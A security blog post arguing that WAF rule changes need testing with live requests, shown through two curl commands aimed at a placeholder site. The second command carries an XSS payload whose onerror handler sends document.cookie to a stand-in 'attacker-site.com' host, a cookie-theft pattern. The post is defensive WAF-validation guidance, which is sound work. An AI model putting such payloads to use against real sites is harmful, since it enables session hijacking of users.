Infosec Journey

One thing I’ve learned from hands-on experience is that security tools—especially WAFs (Web Application Firewalls)—are rarely tested as thoroughly as they should be after a configuration change. Too often, teams skip even the most basic validation when updating rules, like those for blocking new CVEs. The assumption is that if the config is saved, the job’s done. But is it, really?

Why Minimal Testing Isn’t Enough

While experienced engineers may spot issues on paper, there’s no substitute for real, live testing. The truth is, even simple configurations can have a big impact, and the only way to know for sure is to see how the WAF behaves with actual traffic. For example, updating a WAF to block a new CVE might seem trivial, but unless you test with a malicious payload, you can’t be certain the block is effective. There’s a world of difference between “configuration updated” and “attack blocked.”

How Hard Is It to Test? Not Very.

Honestly, it’s easier than most people think. A single curl command can simulate a basic attack and reveal whether your WAF is doing its job. You don’t need a full-blown pen test for every change—just a quick, targeted check. For simple web apps, even a single request without authentication is often enough. Depending on your setup, you might move on to automated pen test tools or DAST, but for most changes, a manual curl is all it takes

Why I Use curl (and You Should Too)

Curl is my go-to for these quick tests. It’s pre-installed on most systems, requires no extra libraries, and lets you craft both basic and advanced requests in seconds. Here’s how I approach it:

Basic XSS Simulation

curl -X POST "https://target-site.com/comment" \
-d "username=xssattemptusername&comment=<script>alert('XSS attempt')</script>"

More Realistic Attack Simulation

curl -X POST "https://target-site.com/feedback" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "User-Agent: Mozilla/5.0" \
-d "name=testuser&message=<img src='x' onerror='fetch(\"//attacker-site.com?cookie=\"+document.cookie)'>"

The first is a classic XSS check. The second one goes a bit further than the first, mimicking real-world attack techniques by using a browser-like User-Agent and a payload that tries to exfiltrate cookies.

What Happens Next?

After sending your test request, what you see depends on your WAF’s configuration:

• If the WAF is set up correctly, the request should be blocked at the perimeter, and you’ll get a block page or error code.
• If not, the request might go through, and you’ll need to investigate further—possibly escalating to SIEM or SOAR for deeper analysis.

Key takeaway:
Just because a rule is in place doesn’t mean it’s working. Real traffic testing is the only way to know for sure. In my experience, the best teams make this a habit, not an afterthought. It’s not difficult, but it does take discipline and a bit of practice to build into your workflow.

If you’re responsible for security tool configurations, don’t just trust the config—test it. One curl command can save you from a world of trouble later on.